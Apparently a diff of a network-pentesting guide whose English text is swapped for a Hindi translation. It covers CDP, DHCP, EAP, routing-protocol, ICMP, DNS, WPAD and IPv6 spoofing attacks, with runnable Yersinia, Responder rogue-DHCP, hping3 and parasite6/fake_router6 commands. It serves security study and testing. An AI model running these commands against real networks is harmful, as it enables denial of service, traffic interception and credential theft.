पोर्ट से जुड़ता है, तो वह **Wireshark**, **tcpdump**, या **Yersinia** जैसे नेटवर्क स्निफ़र्स को तैनात कर सकता है। यह क्रिया नेटवर्क उपकरण के बारे में संवेदनशील डेटा प्रकट कर सकती है, जिसमें इसका मॉडल और जिस संस्करण का Cisco IOS वह चलाता है। हमलावर फिर पहचाने गए Cisco IOS संस्करण में विशिष्ट कमजोरियों को लक्षित कर सकता है। -CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version. - -#### Inducing CDP Table Flooding - -A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing: +#### CDP टेबल बाढ़ को प्रेरित करना +एक अधिक आक्रामक दृष्टिकोण में स्विच की मेमोरी को ओवरलोड करके Denial of Service (DoS) हमला शुरू करना शामिल है, जो वैध CISCO उपकरणों की तरह व्यवहार करता है। नीचे Yersinia का उपयोग करके इस तरह के हमले को शुरू करने के लिए कमांड अनुक्रम दिया गया है: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` - -During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption. +इस हमले के दौरान, स्विच का CPU और CDP पड़ोसी तालिका भारी बोझिल हो जाती है, जो अक्सर **“नेटवर्क लकवाग्रस्त”** के रूप में संदर्भित किया जाता है, अत्यधिक संसाधन खपत के कारण। #### CDP Impersonation Attack - ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +आप [**scapy**](https://github.com/secdev/scapy/) का भी उपयोग कर सकते हैं। सुनिश्चित करें कि आप इसे `scapy/contrib` पैकेज के साथ स्थापित करें। -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### VoIP हमले और VoIP Hopper उपकरण -### VoIP Attacks and the VoIP Hopper Tool +VoIP फोन, जो IoT उपकरणों के साथ बढ़ते हुए एकीकृत होते हैं, दरवाजे खोलने या विशेष फोन नंबरों के माध्यम से थर्मोस्टैट्स को नियंत्रित करने जैसी कार्यक्षमताएँ प्रदान करते हैं। हालाँकि, यह एकीकरण सुरक्षा जोखिम पैदा कर सकता है। -VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks. +उपकरण [**voiphopper**](http://voiphopper.sourceforge.net) विभिन्न वातावरणों (Cisco, Avaya, Nortel, Alcatel-Lucent) में VoIP फोन का अनुकरण करने के लिए डिज़ाइन किया गया है। यह CDP, DHCP, LLDP-MED, और 802.1Q ARP जैसे प्रोटोकॉल का उपयोग करके वॉयस नेटवर्क का VLAN ID खोजता है। -The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP. +**VoIP Hopper** Cisco Discovery Protocol (CDP) के लिए तीन मोड प्रदान करता है: -**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP): +1. **Sniff Mode** (`-c 0`): VLAN ID की पहचान के लिए नेटवर्क पैकेट का विश्लेषण करता है। +2. **Spoof Mode** (`-c 1`): वास्तविक VoIP उपकरण के पैकेट की नकल करते हुए कस्टम पैकेट उत्पन्न करता है। +3. **Spoof with Pre-made Packet Mode** (`-c 2`): एक विशिष्ट Cisco IP फोन मॉडल के पैकेट के समान पैकेट भेजता है। -1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID. -2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model. +गति के लिए पसंदीदा मोड तीसरा है। इसके लिए निम्नलिखित निर्दिष्ट करना आवश्यक है: -The preferred mode for speed is the third one. It requires specifying: +- हमलावर का नेटवर्क इंटरफेस (`-i` पैरामीटर)। +- अनुकरण किए जा रहे VoIP उपकरण का नाम (`-E` पैरामीटर), जो Cisco नामकरण प्रारूप का पालन करता है (जैसे, SEP के बाद एक MAC पता)। -- The attacker's network interface (`-i` parameter). -- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address). +कॉर्पोरेट सेटिंग्स में, एक मौजूदा VoIP उपकरण की नकल करने के लिए, कोई निम्नलिखित कर सकता है: -In corporate settings, to mimic an existing VoIP device, one might: - -- Inspect the MAC label on the phone. -- Navigate the phone's display settings to view model information. -- Connect the VoIP device to a laptop and observe CDP requests using Wireshark. - -An example command to execute the tool in the third mode would be: +- फोन पर MAC लेबल की जांच करें। +- मॉडल जानकारी देखने के लिए फोन की डिस्प्ले सेटिंग्स में जाएं। +- VoIP उपकरण को लैपटॉप से कनेक्ट करें और Wireshark का उपयोग करके CDP अनुरोधों का अवलोकन करें। +उपकरण को तीसरे मोड में निष्पादित करने के लिए एक उदाहरण कमांड होगा: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +### DHCP हमले -### DHCP Attacks - -#### Enumeration - +#### गणना ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -551,68 +487,61 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +**DoS के दो प्रकार** DHCP सर्वरों के खिलाफ किए जा सकते हैं। पहला यह है कि **पर्याप्त नकली होस्ट का अनुकरण करें ताकि सभी संभावित IP पते का उपयोग किया जा सके**।\ +यह हमला केवल तभी काम करेगा जब आप DHCP सर्वर के उत्तर देख सकें और प्रोटोकॉल को पूरा कर सकें (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))। उदाहरण के लिए, यह **Wifi नेटवर्क में संभव नहीं है**। +DHCP DoS करने का एक और तरीका है **DHCP-RELEASE पैकेट भेजना जिसमें स्रोत कोड के रूप में हर संभव IP का उपयोग किया जाए**। फिर, सर्वर सोचेगा कि सभी ने IP का उपयोग करना समाप्त कर दिया है। ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +एक अधिक स्वचालित तरीका यह है कि आप उपकरण [DHCPing](https://github.com/kamorin/DHCPig) का उपयोग करें। -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +आप उल्लेखित DoS हमलों का उपयोग करके क्लाइंट को वातावरण के भीतर नए लीज़ प्राप्त करने के लिए मजबूर कर सकते हैं, और वैध सर्वरों को समाप्त कर सकते हैं ताकि वे अनुत्तरदायी हो जाएं। इसलिए जब वैध पुनः कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में उल्लेखित दुर्भावनापूर्ण मान सर्वर कर सकते हैं**। -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### दुर्भावनापूर्ण मान सेट करें -#### Set malicious values +एक धोखेबाज़ DHCP सर्वर को `/usr/share/responder/DHCP.py` पर स्थित DHCP स्क्रिप्ट का उपयोग करके सेट किया जा सकता है। यह नेटवर्क हमलों के लिए उपयोगी है, जैसे HTTP ट्रैफ़िक और क्रेडेंशियल्स को कैप्चर करना, ट्रैफ़िक को एक दुर्भावनापूर्ण सर्वर पर रीडायरेक्ट करके। हालाँकि, एक धोखेबाज़ गेटवे सेट करना कम प्रभावी है क्योंकि यह केवल क्लाइंट से आउटबाउंड ट्रैफ़िक को कैप्चर करने की अनुमति देता है, वास्तविक गेटवे से प्रतिक्रियाएँ छूट जाती हैं। इसके बजाय, एक धोखेबाज़ DNS या WPAD सर्वर सेट करना अधिक प्रभावी हमले के लिए अनुशंसित है। -A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack. +नीचे धोखेबाज़ DHCP सर्वर को कॉन्फ़िगर करने के लिए कमांड विकल्प दिए गए हैं: -Below are the command options for configuring the rogue DHCP server: - -- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway. -- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name. -- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway. -- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control. -- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP. -- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network. -- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface. -- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception. -- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address. -- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected. - -By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively. +- **हमारा IP पता (गेटवे विज्ञापन)**: अपने मशीन के IP को गेटवे के रूप में विज्ञापित करने के लिए `-i 10.0.0.100` का उपयोग करें। +- **स्थानीय DNS डोमेन नाम**: वैकल्पिक रूप से, स्थानीय DNS डोमेन नाम सेट करने के लिए `-d example.org` का उपयोग करें। +- **मूल राउटर/गेटवे IP**: वैध राउटर या गेटवे के IP पते को निर्दिष्ट करने के लिए `-r 10.0.0.1` का उपयोग करें। +- **प्राथमिक DNS सर्वर IP**: आप नियंत्रित किए गए धोखेबाज़ DNS सर्वर के IP पते को सेट करने के लिए `-p 10.0.0.100` का उपयोग करें। +- **द्वितीयक DNS सर्वर IP**: वैकल्पिक रूप से, द्वितीयक DNS सर्वर IP सेट करने के लिए `-s 10.0.0.1` का उपयोग करें। +- **स्थानीय नेटवर्क का नेटमास्क**: स्थानीय नेटवर्क के लिए नेटमास्क को परिभाषित करने के लिए `-n 255.255.255.0` का उपयोग करें। +- **DHCP ट्रैफ़िक के लिए इंटरफ़ेस**: एक विशिष्ट नेटवर्क इंटरफ़ेस पर DHCP ट्रैफ़िक सुनने के लिए `-I eth1` का उपयोग करें। +- **WPAD कॉन्फ़िगरेशन पता**: वेब ट्रैफ़िक इंटरसेप्शन में सहायता करने के लिए WPAD कॉन्फ़िगरेशन के लिए पता सेट करने के लिए `-w “http://10.0.0.100/wpad.dat”` का उपयोग करें। +- **डिफ़ॉल्ट गेटवे IP को स्पूफ करें**: डिफ़ॉल्ट गेटवे IP पते को स्पूफ करने के लिए `-S` शामिल करें। +- **सभी DHCP अनुरोधों का उत्तर दें**: सभी DHCP अनुरोधों का उत्तर देने के लिए `-R` शामिल करें, लेकिन ध्यान रखें कि यह शोर करता है और इसे पता लगाया जा सकता है। +इन विकल्पों का सही उपयोग करके, एक धोखेबाज़ DHCP सर्वर स्थापित किया जा सकता है जो नेटवर्क ट्रैफ़िक को प्रभावी ढंग से इंटरसेप्ट करता है। ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` +### **EAP हमले** -### **EAP Attacks** +यहाँ कुछ हमले की रणनीतियाँ हैं जो 802.1X कार्यान्वयन के खिलाफ उपयोग की जा सकती हैं: -Here are some of the attack tactics that can be used against 802.1X implementations: - -- Active brute-force password grinding via EAP -- Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -- EAP message capture and offline password cracking (EAP-MD5 and PEAP) -- Forcing EAP-MD5 authentication to bypass TLS certificate validation -- Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +- EAP के माध्यम से सक्रिय ब्रूट-फोर्स पासवर्ड ग्राइंडिंग +- गलत EAP सामग्री के साथ RADIUS सर्वर पर हमला _\*\*_(शोषण) +- EAP संदेश कैप्चर और ऑफ़लाइन पासवर्ड क्रैकिंग (EAP-MD5 और PEAP) +- TLS प्रमाणपत्र सत्यापन को बायपास करने के लिए EAP-MD5 प्रमाणीकरण को मजबूर करना +- हब या समान का उपयोग करके प्रमाणीकरण करते समय दुर्भावनापूर्ण नेटवर्क ट्रैफ़िक इंजेक्ट करना +यदि हमलावर पीड़ित और प्रमाणीकरण सर्वर के बीच है, तो वह प्रमाणीकरण प्रोटोकॉल को EAP-MD5 में घटित करने की कोशिश कर सकता है और प्रमाणीकरण प्रयास को कैप्चर कर सकता है। फिर, वह इसे ब्रूट-फोर्स कर सकता है: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` - ### FHRP (GLBP & HSRP) Attacks -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. +**FHRP** (First Hop Redundancy Protocol) एक नेटवर्क प्रोटोकॉल की श्रेणी है जिसे **एक गर्म अतिरिक्त रूटिंग प्रणाली** बनाने के लिए डिज़ाइन किया गया है। FHRP के साथ, भौतिक राउटर को एकल तार्किक डिवाइस में जोड़ा जा सकता है, जो दोष सहिष्णुता को बढ़ाता है और लोड को वितरित करने में मदद करता है। -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Cisco Systems के इंजीनियरों ने दो FHRP प्रोटोकॉल विकसित किए हैं, GLBP और HSRP।** {{#ref}} glbp-and-hsrp-attacks.md @@ -620,82 +549,73 @@ glbp-and-hsrp-attacks.md ### RIP -Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6. +रूटिंग सूचना प्रोटोकॉल (RIP) के तीन संस्करण ज्ञात हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 द्वारा डाटाग्राम UDP के माध्यम से पोर्ट 520 पर साथियों को भेजे जाते हैं, जबकि RIPng द्वारा डाटाग्राम IPv6 मल्टीकास्ट के माध्यम से UDP पोर्ट 521 पर प्रसारित किए जाते हैं। MD5 प्रमाणीकरण का समर्थन RIPv2 द्वारा पेश किया गया था। दूसरी ओर, RIPng द्वारा स्वदेशी प्रमाणीकरण शामिल नहीं किया गया है; इसके बजाय, IPv6 के भीतर वैकल्पिक IPsec AH और ESP हेडर पर निर्भरता रखी जाती है। -- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520. -- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast. +- **RIP और RIPv2:** संचार UDP डाटाग्राम के माध्यम से पोर्ट 520 पर किया जाता है। +- **RIPng:** IPv6 मल्टीकास्ट के माध्यम से डाटाग्राम प्रसारित करने के लिए UDP पोर्ट 521 का उपयोग करता है। -Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6. +ध्यान दें कि RIPv2 MD5 प्रमाणीकरण का समर्थन करता है जबकि RIPng स्वदेशी प्रमाणीकरण शामिल नहीं करता है, IPv6 में IPsec AH और ESP हेडर पर निर्भर करता है। ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** एक गतिशील रूटिंग प्रोटोकॉल है। **यह एक दूरी-वेक्तर प्रोटोकॉल है।** यदि **कोई प्रमाणीकरण** और निष्क्रिय इंटरफेस का कॉन्फ़िगरेशन नहीं है, तो एक **आक्रमणकारी** EIGRP रूटिंग में हस्तक्षेप कर सकता है और **रूटिंग तालिकाओं को विषाक्त** कर सकता है। इसके अलावा, EIGRP नेटवर्क (दूसरे शब्दों में, स्वायत्त प्रणाली) **समतल है और किसी भी क्षेत्र में विभाजित नहीं है**। यदि एक **हमलावर एक मार्ग इंजेक्ट करता है**, तो यह संभावना है कि यह मार्ग **स्वायत्त EIGRP प्रणाली** में **फैल जाएगा**। -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +EIGRP प्रणाली पर हमला करने के लिए **एक वैध EIGRP राउटर के साथ एक पड़ोस स्थापित करना आवश्यक है**, जो बुनियादी अन्वेषण से लेकर विभिन्न इंजेक्शनों तक कई संभावनाओं को खोलता है। -[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +[**FRRouting**](https://frrouting.org/) आपको **BGP, OSPF, EIGRP, RIP और अन्य प्रोटोकॉल का समर्थन करने वाले एक आभासी राउटर को लागू करने की अनुमति देता है।** आपको बस इसे अपने हमलावर के सिस्टम पर तैनात करना है और आप वास्तव में रूटिंग डोमेन में एक वैध राउटर होने का नाटक कर सकते हैं। {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations. +[**Coly**](https://code.google.com/p/coly/) EIGRP (Enhanced Interior Gateway Routing Protocol) प्रसारणों को इंटरसेप्ट करने की क्षमताएँ रखता है। यह पैकेट इंजेक्ट करने की भी अनुमति देता है, जिसका उपयोग रूटिंग कॉन्फ़िगरेशन को बदलने के लिए किया जा सकता है। ### OSPF -In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively. +Open Shortest Path First (OSPF) प्रोटोकॉल में **राउटर के बीच सुरक्षित संचार सुनिश्चित करने के लिए सामान्यतः MD5 प्रमाणीकरण का उपयोग किया जाता है**। हालाँकि, इस सुरक्षा उपाय को Loki और John the Ripper जैसे उपकरणों का उपयोग करके समझौता किया जा सकता है। ये उपकरण MD5 हैश को कैप्चर और क्रैक करने में सक्षम हैं, प्रमाणीकरण कुंजी को उजागर करते हैं। एक बार जब यह कुंजी प्राप्त हो जाती है, तो इसका उपयोग नई रूटिंग जानकारी पेश करने के लिए किया जा सकता है। रूट पैरामीटर को कॉन्फ़िगर करने और समझौता की गई कुंजी स्थापित करने के लिए, _Injection_ और _Connection_ टैब का उपयोग किया जाता है, क्रमशः। -- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose. -- **Configuring Route Parameters:** This is done through the _Injection_ tab. -- **Setting the Compromised Key:** The key is configured under the _Connection_ tab. +- **MD5 हैश को कैप्चर और क्रैक करना:** इस उद्देश्य के लिए Loki और John the Ripper जैसे उपकरणों का उपयोग किया जाता है। +- **रूट पैरामीटर कॉन्फ़िगर करना:** यह _Injection_ टैब के माध्यम से किया जाता है। +- **समझौता की गई कुंजी सेट करना:** कुंजी _Connection_ टैब के तहत कॉन्फ़िगर की जाती है। ### Other Generic Tools & Sources -- [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -- You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet). +- [**Above**](https://github.com/c4s73r/Above): नेटवर्क ट्रैफ़िक को स्कैन करने और कमजोरियों को खोजने के लिए उपकरण +- आप **नेटवर्क हमलों के बारे में कुछ और जानकारी** [**यहाँ**](https://github.com/Sab0tag3d/MITM-cheatsheet) पा सकते हैं। ## **Spoofing** -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. - +आक्रमणकारी नए नेटवर्क सदस्य के सभी नेटवर्क पैरामीटर (GW, IP, DNS) को नकली DHCP प्रतिक्रियाएँ भेजकर कॉन्फ़िगर करता है। ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing Check the [previous section](./#arp-spoofing). ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +ICMP Redirect एक ICMP पैकेट प्रकार 1 कोड 5 भेजने पर आधारित है जो यह संकेत करता है कि हमलावर IP तक पहुँचने का सबसे अच्छा तरीका है। फिर, जब पीड़ित IP से संपर्क करना चाहता है, तो वह पैकेट को हमलावर के माध्यम से भेजेगा। ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +हमलावर कुछ (या सभी) डोमेन को हल करेगा जो पीड़ित पूछता है। ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` - -**Configure own DNS with dnsmasq** - +**dnsmasq के साथ अपना DNS कॉन्फ़िगर करें** ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### स्थानीय गेटवे -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +प्रणालियों और नेटवर्कों के लिए अक्सर कई मार्ग होते हैं। स्थानीय नेटवर्क के भीतर MAC पतों की एक सूची बनाने के बाद, IPv4 फॉरवर्डिंग का समर्थन करने वाले होस्टों की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें। ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -713,66 +633,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` - ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services. +स्थानीय होस्ट समाधान के लिए जब DNS लुकअप असफल होते हैं, Microsoft सिस्टम **Link-Local Multicast Name Resolution (LLMNR)** और **NetBIOS Name Service (NBT-NS)** पर निर्भर करते हैं। इसी तरह, **Apple Bonjour** और **Linux zero-configuration** कार्यान्वयन नेटवर्क के भीतर सिस्टम खोजने के लिए **Multicast DNS (mDNS)** का उपयोग करते हैं। इन प्रोटोकॉल की प्रमाणीकरण रहित प्रकृति और UDP पर उनके संचालन के कारण, संदेशों का प्रसारण करते हुए, हमलावरों द्वारा उपयोगकर्ताओं को दुर्भावनापूर्ण सेवाओं की ओर मोड़ने के लिए इनका शोषण किया जा सकता है। -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +आप Responder का उपयोग करके होस्ट द्वारा खोजी गई सेवाओं की नकल कर सकते हैं ताकि नकली प्रतिक्रियाएँ भेजी जा सकें।\ +[Responder के साथ सेवाओं की नकल कैसे करें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) के बारे में अधिक जानकारी यहाँ पढ़ें। ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms: +ब्राउज़र आमतौर पर **Web Proxy Auto-Discovery (WPAD) प्रोटोकॉल का उपयोग करके स्वचालित रूप से प्रॉक्सी सेटिंग्स प्राप्त करते हैं**। इसमें एक सर्वर से कॉन्फ़िगरेशन विवरण प्राप्त करना शामिल है, विशेष रूप से "http://wpad.example.org/wpad.dat" जैसे URL के माध्यम से। क्लाइंट द्वारा इस सर्वर की खोज विभिन्न तंत्रों के माध्यम से हो सकती है: -- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry. -- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain. -- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed. +- **DHCP** के माध्यम से, जहाँ खोज को विशेष कोड 252 प्रविष्टि का उपयोग करके सुविधाजनक बनाया जाता है। +- **DNS** द्वारा, जिसमें स्थानीय डोमेन के भीतर _wpad_ लेबल वाले होस्टनाम की खोज करना शामिल है। +- **Microsoft LLMNR और NBT-NS** के माध्यम से, जो उन मामलों में बैकअप तंत्र के रूप में उपयोग किए जाते हैं जहाँ DNS लुकअप सफल नहीं होते हैं। -The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +टूल Responder इस प्रोटोकॉल का लाभ उठाकर **दुर्भावनापूर्ण WPAD सर्वर** के रूप में कार्य करता है। यह DHCP, DNS, LLMNR, और NBT-NS का उपयोग करके क्लाइंट को अपने साथ जोड़ने के लिए भ्रामक जानकारी प्रदान करता है। Responder का उपयोग करके सेवाओं की नकल कैसे की जा सकती है, इसके बारे में अधिक जानने के लिए [यहाँ देखें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)। ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +आप नेटवर्क में विभिन्न सेवाएँ प्रदान कर सकते हैं ताकि **एक उपयोगकर्ता को** कुछ **सादा-पाठ क्रेडेंशियल्स** दर्ज करने के लिए **धोखा दिया जा सके**। **इस हमले के बारे में अधिक जानकारी** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)** में है।** ### IPv6 Neighbor Spoofing -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. - +यह हमला ARP Spoofing के समान है लेकिन IPv6 की दुनिया में। आप पीड़ित को यह सोचने के लिए मजबूर कर सकते हैं कि GW का IPv6 हमलावर का MAC है। ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` +### IPv6 राउटर विज्ञापन धोखाधड़ी/बाढ़ -### IPv6 Router Advertisement Spoofing/Flooding - -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +कुछ OS डिफ़ॉल्ट रूप से नेटवर्क में भेजे गए RA पैकेट्स से गेटवे को कॉन्फ़िगर करते हैं। हमलावर को IPv6 राउटर के रूप में घोषित करने के लिए आप उपयोग कर सकते हैं: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` - ### IPv6 DHCP spoofing -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - 